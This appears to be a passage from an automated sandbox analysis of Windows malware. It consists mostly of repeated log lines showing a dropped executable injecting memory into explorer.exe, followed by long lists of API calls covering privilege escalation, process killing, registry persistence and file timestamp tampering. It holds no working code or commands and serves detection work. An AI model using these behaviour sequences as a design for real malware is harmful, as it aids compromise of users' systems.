Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10060000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10070000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10080000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10090000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 100A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 100B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 100C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 100D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 100E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 100F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10100000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10110000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10120000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10130000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10140000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10150000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10160000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10170000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10180000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10190000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 101A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 101B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 101C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 101D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 101E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 101F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10200000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10210000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10220000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10230000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10240000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10250000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10260000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10270000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10280000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10290000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 102A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 102B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 102C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 102D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 102E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 102F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10300000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10310000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10320000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10330000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10340000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10350000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10360000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10370000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10380000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10390000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 103A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 103B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 103C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 103D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 103E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 103F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10400000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10410000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10420000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10430000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10440000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10450000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10460000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10470000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10480000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10490000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 104A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 104B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 104C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 104D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 104E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 104F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10500000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10510000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10520000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10530000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10540000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10550000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10560000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10570000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10580000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10590000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 105A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 105B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 105C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 105D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 105E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 105F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10600000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10610000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10620000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10630000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10640000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10650000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10660000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10670000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10680000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10690000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 106A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 106B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 106C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 106D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 106E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 106F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10700000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10710000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10720000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10730000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10740000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10750000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10760000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10770000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10780000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10790000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 107A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 107B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 107C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 107D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 107E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 107F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10800000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10810000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10820000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10830000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10840000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10850000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10860000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10870000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10880000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10890000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 108A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 108B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 108C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 108D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 108E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 108F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10900000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10910000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10920000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10930000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10940000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10950000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10960000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10970000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10980000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10990000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 109A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 109B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 109C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 109D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 109E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 109F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10A90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10AA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10AC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10AD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10AE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10AF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B80000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10B90000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10BA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10BB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10BC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10BD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10BE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10BF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C70000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 10C80000	Jump to behavior

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	0_2_00403A19
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,